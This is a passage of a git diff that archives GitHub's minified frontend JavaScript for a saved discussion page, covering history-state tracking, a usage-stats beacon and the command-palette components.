0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js new file mode 100644 index 0000000..4a88798 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js @@ -0,0 +1,37 @@ +"use strict";(()=>{var S=Object.defineProperty;var f=(y,v)=>S(y,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],{2846:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(90420),_=a(23207),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.b{static build(o,i){const c=new s;return c.providerId=o,c.provider=i,c}connectedCallback(){this.setAttribute("data-targets","command-palette.clientDefinedProviderElements")}},"ClientDefinedProviderElement");l([d.Lj],s.prototype,"providerId",2),s=l([d.Ih],s)},64465:(y,v,a)=>{a.d(v,{Z:()=>T,o:()=>O});var d=a(90420),_=a(2846),m=a(39200),r=a(85678),l=a(80829),s=a(80425),o=a(3447),i=a(72017),c=Object.defineProperty,n=Object.getOwnPropertyDescriptor,t=f((e,h,g,P)=>{for(var I=P>1?void 0:P?n(h,g):h,D=e.length-1,b;D>=0;D--)(b=e[D])&&(I=(P?b(h,g,I):b(I))||I);return P&&I&&c(h,g,I),I},"__decorateClass");const p=f(()=>navigator.platform.match(/Mac/),"isMac"),u=p()?"metaKey":"ctrlKey",E=p()?"Meta":"Control",O=f(e=>e instanceof KeyboardEvent?e[u]:!1,"isPlatformMetaKey"),M=450;let T=f(class extends HTMLElement{constructor(){super(...arguments);this.everActivated=!1,this.activated=!1,this.error=!1,this.query=new l.A("",""),this.setupComplete=!1,this.sessionId="",this.returnTo="",this.userId="",this.activationHotkey="Mod+k,Mod+Alt+k",this.commandModeHotkey="Mod+Shift+k,Control+K"}setup(){this.modes=Array.from(this.querySelectorAll("command-palette-mode")),this.defaultMode=this.querySelector(".js-command-palette-default-mode"),this.commandPaletteInput=this.querySelector("command-palette-input"),this.groups=this.querySelectorAll("command-palette-item-group"),new ResizeObserver(g=>{for(const P of g)this.commandPaletteInput.scopeElement.smallDisplay=P.contentRect.width1?e[e.length-1]:""}get platformActivationHotkey(){return this.platformHotkey(this.activationHotkey)}get platformSecondaryActivationHotkey(){return this.platformHotkey(this.secondaryActivationHotkey)}get platformCommandModeHotkey(){return this.platformHotkey(this.commandModeHotkey)}platformHotkey(e){if(e==="none")return"";let h=e;if(p())h=h.replace(/Mod\+Alt/g,"Alt+Mod");else if(h.includes("Shift")){const g=h.charAt(h.length-1);h+=`,${h.replace(`Shift+${g}`,g.toUpperCase())}`}return h.replace(/Mod/g,E)}onInput(){!this.everActivated||(this.commandPaletteInput.typeahead="",this.setActiveModeElement(),this.setQuery(),this.toggleTips(),this.updateOverlay())}updateOverlay(){const e=this.getMode();this.commandPaletteInput.overlay=e;for(const h of this.groups)h.renderElement(e);if(e&&this.getTextWithoutMode()===""){const h=this.getModeElement().placeholder||"";this.commandPaletteInput.showModePlaceholder(h)}else this.commandPaletteInput.showModePlaceholder("")}itemsUpdated(e){if(!(e instanceof CustomEvent))return;const g=e.detail.items.filter(b=>b.group!==m.O.footerGroupId),P=g.filter(b=>!b.group||!m.O.helpGroupIds.includes(b.group)),I=g.length>P.length,D=P.length===0&&this.activated;P.length>0?this.toggleEmptyState(!1,I):D&&(this.toggleEmptyState(!0,I),this.toggleTips()),this.toggleErrorTips()}loadingStateChanged(e){e instanceof CustomEvent&&(this.commandPaletteInput.loading=e.detail.loading)}pageFetchError(e){e instanceof CustomEvent&&(this.error=!0,this.toggleErrorTips())}selectedItemChanged(e){if(!(e instanceof CustomEvent))return;const h=e.detail.item,g=e.detail.isDefaultSelection;this.updateTypeahead(h,g)}setActiveModeElement(){const e=this.commandPaletteInput.inputValue.substring(0,1),h=this.modes.filter(g=>g.active(this.query.scope,e)).find(g=>g.character()===e);this.activeMode=h||this.defaultMode,this.pageStack.currentMode=this.activeMode.character()}setQuery(){this.query=new l.A(this.getTextWithoutMode().trimStart(),this.getMode(),{scope:this.commandPaletteInput.scope,subjectId:this.pageStack.defaultScopeId,subjectType:this.pageStack.defaultScopeType,returnTo:this.returnTo}),this.pageStack.currentQueryText=this.getTextWithoutMode().trimStart()}getModeElement(){return this.activeMode}getMode(){var e;return(e=this.getModeElement())==null?void 0:e.character()}getTextWithoutMode(){if(!this.commandPaletteInput)return"";const e=this.commandPaletteInput.inputValue,h=this.getMode();return h&&e.startsWith(h)?e.substring(1):e}get selectedItem(){return this.pageStack.currentPage.selectedItem}onSelect(e){this.selectedItem?this.selectedItem.item.select(this):e.preventDefault()}autocomplete(e){(0,i.j)("autocompleted",e);const h=this.commandPaletteInput;e.typeahead!==void 0?h.inputValue=h.overlay+e.typeahead:h.inputValue=h.overlay+e.title}setScope(e){(0,i.j)("scoped");const h=e||this.commandPaletteInput.scope;for(const g of h.tokens){const P=g===h.tokens[h.tokens.length-1],I=new r.j({title:g.value,scopeId:g.id,scopeType:g.type});this.pageStack.push(I,!P)}this.commandPaletteInput.inputValue=""}onDescope(){this.toggleEmptyState(!1,!1),this.pageStack.pop(),this.toggleTips()}onInputClear(){this.pageStack.clear()}onKeydown(e){var h;e.key==="Enter"&&this.selectedItem?((h=this.selectedItem)==null||h.activate(this,e),e.preventDefault(),e.stopPropagation()):e.key==="ArrowDown"?(this.navigateToItem(1),e.preventDefault(),e.stopPropagation()):e.key==="ArrowUp"?(this.navigateToItem(-1),e.preventDefault(),e.stopPropagation()):this.isCopyEvent(e)&&this.selectedItem&&(this.selectedItem.copy(this),e.preventDefault(),e.stopPropagation())}close(e){if(e instanceof KeyboardEvent&&e.key!=="Enter")return;document.querySelector(".command-palette-details-dialog").toggle(!1),e.stopImmediatePropagation(),e.preventDefault()}navigateToItem(e){this.pageStack.navigate(e)}toggleTips(){const e=this.modeTips.filter(g=>g.available(this.query)),h=e[Math.floor(Math.random()*e.length)];for(const g of this.modeTips)g.hidden=h!==g;this.pageStack.hasVisibleTip=!!h,this.pageStack.currentPage.recomputeStyles()}toggleEmptyState(e,h){for(const g of this.emptyStateElements)g.toggle(this.query,e);if(!h&&e){const g=this.serverDefinedProviderElements.find(P=>P.type==="help");g&&this.pageStack.currentPage.fetch([g.provider],{isEmpty:!0})}}toggleErrorTips(){for(const e of this.errorStateTips)e.toggle(this.query,!1,this.error)}updateInputScope(e){e instanceof CustomEvent&&(this.commandPaletteInput.scope=this.pageStack.scope,this.setQuery())}updateTypeahead(e,h=!1){var g,P;this.getTextWithoutMode()===""&&(!e||h)?this.commandPaletteInput.typeahead="":e&&(this.commandPaletteInput.typeahead=(P=(g=e.typeahead)!=null?g:e.title)!=null?P:"")}isCopyEvent(e){return this.commandPaletteInput.textSelected()?!1:p()?e.metaKey&&e.key==="c":e.ctrlKey&&e.key==="c"}setQueryScope(){this.query.scope=this.commandPaletteInput.scope}get providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get commandsProviderElements(){return this.providerElements.filter(e=>{var h;return(h=e.provider)==null?void 0:h.hasCommands})}clearProviderCaches(){var e;for(const h of this.providerElements)(e=h.provider)==null||e.clearCache()}clearCommandProviderCaches(){var e;for(const h of this.commandsProviderElements)(e=h.provider)==null||e.clearCache()}registerProvider(e,h){const g=this.querySelector(`client-defined-provider[data-provider-id="${e}"]`);g&&g.remove();const P=_.i.build(e,h);this.appendChild(P)}pushPage(e,h=!1){h&&this.pageStack.clear(!1),this.pageStack.push(e),this.resetInput()}get tipElements(){const e=this.querySelectorAll("command-palette-tip");return Array.from(e)}get modeTips(){return this.tipElements.filter(e=>!e.onEmpty&&!e.onError)}get emptyStateElements(){return this.tipElements.filter(e=>e.onEmpty)}get errorStateTips(){return this.tipElements.filter(e=>e.onError)}get placeholder(){return this.getAttribute("placeholder")||""}get defaultOpen(){return this.getAttribute("data-default-open")!==null}clearReturnToParams(){const e=new URLSearchParams(location.search);e.delete("command_palette_open"),e.delete("command_query"),e.delete("command_mode"),e.delete("clear_command_scope"),history.replaceState(null,"",`?${e}${location.hash}`)}displayFlash(e,h,g=5e3){const P=document.querySelector(".js-command-palette-toasts");if(!P)return;const I=P.querySelectorAll(".Toast");for(const C of I)C.hidden=!0;const D=P.querySelector(`.Toast.Toast--${e}`);if(!D)return;const b=D.querySelector(".Toast-content");b.textContent=h,D.hidden=!1,setTimeout(()=>{D.hidden=!0},g)}},"CommandPalette");T.tagName="command-palette",t([d.Lj],T.prototype,"returnTo",2),t([d.Lj],T.prototype,"userId",2),t([d.Lj],T.prototype,"activationHotkey",2),t([d.Lj],T.prototype,"commandModeHotkey",2),t([d.fA],T.prototype,"pageStack",2),t([d.GO],T.prototype,"clientDefinedProviderElements",2),t([d.GO],T.prototype,"serverDefinedProviderElements",2),t([(0,o.D)(250)],T.prototype,"clearCommands",1),T=t([d.Ih],T)},39200:(y,v,a)=>{a.d(v,{O:()=>s});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends HTMLElement{constructor(){super(...arguments);this.groupLimits="",this.defaultPriority=0,this.skipTemplate=!1}connectedCallback(){this.classList.add("py-2","border-top"),this.setAttribute("hidden","true"),this.skipTemplate||this.renderElement(""),this.skipTemplate=!0}prepareForNewItems(){this.list.innerHTML="",this.setAttribute("hidden","true"),this.classList.contains("border-top")||this.classList.add("border-top")}hasItem(o){return this.list.querySelectorAll(`[data-item-id="${o.id}"]`).length>0}renderElement(o){const i=f(()=>this.hasTitle?_.dy` +

    +
    + `:_.dy` +
    + `,"groupTemplate");(0,_.sY)(i(),this)}push(o){this.removeAttribute("hidden"),this.topGroup&&this.atLimit?o.itemId!==this.firstItem.itemId&&this.replaceTopGroupItem(o):this.list.append(o)}replaceTopGroupItem(o){this.list.replaceChild(o,this.firstItem)}groupLimitForScope(){const o=this.closest("command-palette");if(o){const i=o.query.scope.type;return JSON.parse(this.groupLimits)[i]}}get limit(){const o=this.groupLimitForScope();return this.topGroup?1:this.isModeActive()?50:o||s.defaultGroupLimit}get atLimit(){return this.list.children.length>=this.limit}parsedGroupLimits(){return this.groupLimits?JSON.parse(this.groupLimits):{}}limitForScopeType(o){const c=this.parsedGroupLimits()[o];return this.topGroup?1:this.isModeActive()?s.activeModeLimit:c||c===0?c:s.defaultGroupLimit}atLimitForScopeType(o){return this.list.children.length>=this.limitForScopeType(o)}isModeActive(){const o=this.closest("command-palette");return o?o.getMode():!1}get topGroup(){return this.groupId===s.topGroupId}get hasTitle(){return this.groupId!==s.footerGroupId&&this.groupId!==s.defaultGroupId}get itemNodes(){return this.list.querySelectorAll("command-palette-item")}get firstItem(){return this.itemNodes[0]}get lastItem(){return this.itemNodes[this.itemNodes.length-1]}},"CommandPaletteItemGroupElement");s.defaultGroupLimit=5,s.activeModeLimit=50,s.topGroupId="top",s.defaultGroupId="default",s.footerGroupId="footer",s.helpGroupIds=["modes_help","filters_help"],s.commandGroupIds=["commands"],s.topGroupScoreThreshold=9,l([d.Lj],s.prototype,"groupTitle",2),l([d.Lj],s.prototype,"groupHint",2),l([d.Lj],s.prototype,"groupId",2),l([d.Lj],s.prototype,"groupLimits",2),l([d.Lj],s.prototype,"defaultPriority",2),l([d.Lj],s.prototype,"skipTemplate",2),l([d.fA],s.prototype,"list",2),l([d.fA],s.prototype,"header",2),s=l([d.Ih],s)},47779:(y,v,a)=>{a.d(v,{v:()=>n});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((t,p,u,E)=>{for(var O=E>1?void 0:E?r(p,u):p,M=t.length-1,T;M>=0;M--)(T=t[M])&&(O=(E?T(p,u,O):T(O))||O);return E&&O&&m(p,u,O),O},"__decorateClass");const s=14,o=20,i=20,c=55;let n=f(class extends HTMLElement{constructor(){super(...arguments);this.smallDisplay=!1}connectedCallback(){this.classList.add("d-inline-flex")}get lastToken(){return this.tokens[this.tokens.length-1]}get text(){return this.tokens.map(t=>t.text).join("/")}get id(){return this.lastToken?this.lastToken.id:n.emptyScope.id}get type(){return this.lastToken?this.lastToken.type:n.emptyScope.type}get scope(){return this.hasScope()?{text:this.text,type:this.type,id:this.id,tokens:this.tokens}:n.emptyScope}set scope(t){this.renderTokens(t.tokens)}renderTokens(t){this.clearScope();let p=0,u=t.length;const E=this.smallDisplay?s:i,O=this.smallDisplay?o:c;for(let e=t.length-1;e>=0&&!(p+Math.min(t[e].text.length,E)+5>O);e--)p+=Math.min(t[e].text.length,E)+5,u=e;const M=f(e=>_.dy`${e.map(T)}`,"tokensTemplate"),T=f((e,h)=>{const g=e.text.length>E?`${e.text.substring(0,E-3)}...`:e.text;return _.dy` + + `},"tokenTemplate");(0,_.sY)(M(t),this),this.hidden=!this.hasScope(),u!==0&&(this.placeholder.hidden=!1)}removeToken(){this.lastToken&&(this.lastRemovedToken=this.lastToken,this.lastToken.remove(),this.renderTokens(this.tokens))}hasScope(){return this.tokens.length>0&&this.type&&this.id&&this.text}clearScope(){for(const t of this.tokens)t.remove();this.placeholder.hidden=!0}attributeChangedCallback(t,p,u){!this.isConnected||t==="data-small-display"&&p!==u&&this.renderTokens(this.tokens)}},"CommandPaletteScopeElement");n.emptyScope={type:"",text:"",id:"",tokens:[]},n.observedAttributes=["data-small-display"],l([d.Lj],n.prototype,"smallDisplay",2),l([d.fA],n.prototype,"placeholder",2),l([d.GO],n.prototype,"tokens",2),n=l([d.Ih],n)},76168:(y,v,a)=>{a.d(v,{z:()=>m});function d(r){const l=document.createElement("pre");return l.style.width="1px",l.style.height="1px",l.style.position="fixed",l.style.top="5px",l.textContent=r,l}f(d,"createNode");function _(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r.textContent||"");const l=getSelection();if(l==null)return Promise.reject(new Error);l.removeAllRanges();const s=document.createRange();return s.selectNodeContents(r),l.addRange(s),document.execCommand("copy"),l.removeAllRanges(),Promise.resolve()}f(_,"copyNode");function m(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r);const l=document.body;if(!l)return Promise.reject(new Error);const s=d(r);return l.appendChild(s),_(s),l.removeChild(s),Promise.resolve()}f(m,"copyText")},81072:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}get key(){return this.title}},"AccessPolicyItem");s=l([_.O],s)},68313:(y,v,a)=>{a.d(v,{d:()=>s});var d=a(4220),_=a(88513),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);const i=o.getAttribute("data-commands-path");if(!i)return;const c=o.query.params();c.set("command",this.action.id),o.commandPaletteInput.loading=!0;const n=await(0,_.Q)(i,{method:"POST",body:c});if(o.commandPaletteInput.loading=!1,n.ok){const t=await n.json();this.handleResponse(o,t.action,t.arguments)}else o.displayFlash("error","Failed to run command")}handleResponse(o,i,c){switch(i){case"displayFlash":o.displayFlash(c.type,c.message),o.dismiss();break}}},"CommandItem");s=l([d.O],s)},96753:(y,v,a)=>{a.d(v,{Z:()=>s});var d=a(4220),_=a(76168),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.priority=11,this.score=1,this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);try{await(0,_.z)(this.action.text),o.displayFlash("success",this.action.message),o.dismiss()}catch{o.displayFlash("error","Copy failed")}}},"CopyableItem");s=l([d.O],s)},8665:(y,v,a)=>{a.d(v,{B:()=>l});var d=a(4220),_=Object.defineProperty,m=Object.getOwnPropertyDescriptor,r=f((s,o,i,c)=>{for(var n=c>1?void 0:c?m(o,i):o,t=s.length-1,p;t>=0;t--)(p=s[t])&&(n=(c?p(o,i,n):p(n))||n);return c&&n&&_(o,i,n),n},"__decorateClass");let l=f(class extends d.g{static from(s){return new l({title:s.title,typeahead:"",priority:-10-s.index,score:-10,group:s.group,action:{type:"help",description:"",prefix:s.prefix},persistentHint:s.persistentHint})}constructor(s){super(s);this.persistentHint=s.persistentHint}activate(s,o){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}autocomplete(s){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}calculateScore(s){return 0}get action(){return this._action}},"HelpItem");l=r([d.O],l)},98810:(y,v,a)=>{a.d(v,{s:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{static from(o){return new s({title:o.title,typeahead:o.title,priority:1,score:1,group:o.group,action:{type:"jump_to",description:"",path:o.path},icon:{type:"octicon",id:o.icon}})}activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}copy(o){super.copy(o);const i=new URL(this.action.path,window.location.origin);return this.copyToClipboardAndAnnounce(i.toString()),i.toString()}get key(){return`${super.key}/${this.action.path}`}get action(){return this._action}},"JumpToItem");s=l([_.O],s)},28760:(y,v,a)=>{a.d(v,{V:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToOrgItem");s=l([_.O],s)},3991:(y,v,a)=>{a.d(v,{W:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToTeamItem");s=l([_.O],s)},77417:(y,v,a)=>{a.d(v,{U:()=>_});var d=a(33241);class _ extends d.ck{constructor(r,l){super({title:(s=l.title)!=null?s:r.title,subtitle:(o=l.subtitle)!=null?o:r.subtitle,typeahead:(i=l.title)!=null?i:r.title,priority:(c=l.priority)!=null?c:r.priority,group:(n=l.group)!=null?n:r.group,icon:{type:(t=l.iconType)!=null?t:r.iconType,id:(p=l.icon)!=null?p:r.icon},hint:"Run command"});var s,o,i,c,n,t,p;this.command=r}get path(){}copy(r){}activate(r){this.command.run(r),this.command.dismissAfterRun&&r.dismiss()}isApplicable(r){return this.command.isApplicable(r)}select(r){this.command.select?this.command.select(r):r.autocomplete(this)}}f(_,"MainWindowCommandItem")},31411:(y,v,a)=>{a.d(v,{K:()=>o});var d=a(4220),_=a(39200),m=a(98810),r=Object.defineProperty,l=Object.getOwnPropertyDescriptor,s=f((i,c,n,t)=>{for(var p=t>1?void 0:t?l(c,n):c,u=i.length-1,E;u>=0;u--)(E=i[u])&&(p=(t?E(c,n,p):E(p))||p);return t&&p&&r(c,n,p),p},"__decorateClass");let o=f(class extends m.s{static create(i){let c,n;const t=[...i.scope.tokens];for(;t.length>0&&!this.searchableScopeTypes.includes(t[t.length-1].type);)t.pop();let p;if(t.length>0?p=t[t.length-1]:p=void 0,p&&p.type==="repository"){const u=t.map(E=>E.text).join("/");c=`in ${u}`,n=`/${u}/search?q=${i.text}`}else if(p&&p.type==="owner"){const u=`org:${p.text} ${i.text}`;c=`in ${p.text}`,n=`/search?q=${u}`}else c="across all of GitHub",n=`/search?q=${i.text}`;return new o({title:`Search ${i.text}${c}`,typeahead:"",priority:-10,score:-10,group:_.O.footerGroupId,action:{type:"jump_to",description:"",path:n},icon:{type:"octicon",id:"search-color-fg-muted"},titleScope:c})}constructor(i){super(i);this.titleScope=i.titleScope}autocomplete(i){}calculateScore(i){return 0}},"SearchLinkItem");o.searchableScopeTypes=["owner","repository"],o=s([d.O],o)},4220:(y,v,a)=>{a.d(v,{O:()=>m,g:()=>l});var d=a(33241),_=a(39200);function m(s){l.register(s)}f(m,"serverDefinedItem");const r=f(class extends d.ck{constructor(s){super(s);this.position="",this.score=s.score,this.scope=s.scope,this.matchFields=s.match_fields,this._action=s.action}static register(s){this.itemClasses[s.itemType]=s}static get itemType(){return this.buildItemType(this.name)}static buildItemType(s){return s.replace(/([A-Z]($|[a-z]))/g,"_$1").replace(/(^_|_Item$)/g,"").toLowerCase()}static build(s){const o=this.itemClasses[s.action.type];if(o)return new o(s);throw new Error(`No item handler for ${s.action.type}`)}get action(){return this._action}get key(){return`${this.action.type}/${this.title}/${this.group}`}get path(){return this.action.path||""}get itemType(){return r.buildItemType(this.constructor.name)}select(s){this.scope?s.setScope(this.scope):s.autocomplete(this)}activate(s,o){}activateLinkBehavior(s,o,i){var c;(c=this.element)==null||c.activateLinkBehavior(s,o,i)}copy(s){}copyToClipboardAndAnnounce(s,o){var i;(i=this.element)==null||i.copyToClipboardAndAnnounce(s,o)}},"_ServerDefinedItem");let l=r;l.itemClasses={},l.defaultData={title:"",score:1,priority:1,action:{type:"",path:""},icon:{type:"octicon",id:"dash-color-fg-muted"},group:_.O.defaultGroupId}},85678:(y,v,a)=>{a.d(v,{j:()=>d});class d{constructor(m){this.title=m.title,this.scopeId=m.scopeId,this.scopeType=m.scopeType}get providers(){const m=[];for(const r of this._providerElements)r.provider&&m.push(r.provider);return m}get _providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get serverDefinedProviderElements(){const m=document.querySelectorAll("server-defined-provider");return Array.from(m)}get clientDefinedProviderElements(){const m=document.querySelectorAll("client-defined-provider");return Array.from(m)}}f(d,"GlobalProvidersPage")},23207:(y,v,a)=>{a.d(v,{b:()=>d});class d extends HTMLElement{async fetchWithDebounce(m,r){return this.provider?(this._lastFetchQuery=m,await this.delay(this.provider.debounce),this._lastFetchQuery!==m?{results:[]}:this.provider.fetch(m,r)):{results:[]}}delay(m){return new Promise(r=>setTimeout(r,m))}}f(d,"ProviderElement")},78078:(y,v,a)=>{a.d(v,{B:()=>_});var d=a(33241);class _ extends d.BX{fuzzyFilter(r,l,s=0){if(l.isBlank())return r;const o=[];for(const i of r)i.calculateScore(l.text)>s&&o.push(i);return o}}f(_,"ProviderBase")},78584:(y,v,a)=>{a.d(v,{j:()=>_});var d=a(78078);class _ extends d.B{constructor(r){super();this.element=r}get type(){return this.element.type}get modes(){return this.element.modes}get debounce(){return this.element.debounce}get scopeTypes(){return this.element.scopeTypes}get src(){return this.element.src}get hasWildCard(){return this.element.hasWildCard}get hasCommands(){return this.element.hasCommands}fetch(r,l){throw new Error("Method not implemented.")}enabledFor(r){throw new Error("Method not implemented.")}clearCache(){throw new Error("Method not implemented.")}}f(_,"ServerDefinedProvider")},80829:(y,v,a)=>{a.d(v,{A:()=>_});var d=a(47779);class _{constructor(r,l,{scope:s,subjectId:o,subjectType:i,returnTo:c}={}){this.queryText=r,this.queryMode=l,this.scope=s!=null?s:d.v.emptyScope,this.subjectId=o,this.subjectType=i,this.returnTo=c}get text(){return this.queryText}get mode(){return this.queryMode}get path(){return this.buildPath(this)}buildPath(r,l=r.text){return`scope:${r.scope.type}-${r.scope.id}/mode:${r.mode}/query:${l}`}clearScope(){this.scope=d.v.emptyScope}hasScope(){return this.scope.id!==d.v.emptyScope.id}isBlank(){return this.text.trim().length===0}isPresent(){return!this.isBlank()}immutableCopy(){const r=this.text,l=this.mode,s={...this.scope};return new _(r,l,{scope:s,subjectId:this.subjectId,subjectType:this.subjectType,returnTo:this.returnTo})}hasSameScope(r){return this.scope.id===r.scope.id}params(){const r=new URLSearchParams;return this.isPresent()&&r.set("q",this.text),this.hasScope()&&r.set("scope",this.scope.id),this.mode&&r.set("mode",this.mode),this.returnTo&&r.set("return_to",this.returnTo),this.subjectId&&r.set("subject",this.subjectId),r}}f(_,"Query")},72017:(y,v,a)=>{a.d(v,{j:()=>i});var d=a(81072),_=a(68313),m=a(96753),r=a(98810),l=a(77417),s=a(4220),o=a(30481);function i(n,t){const p=document.querySelector("command-palette");let u="";t&&(t.group==="commands"||t.group==="global_commands")&&(u=t.title);const 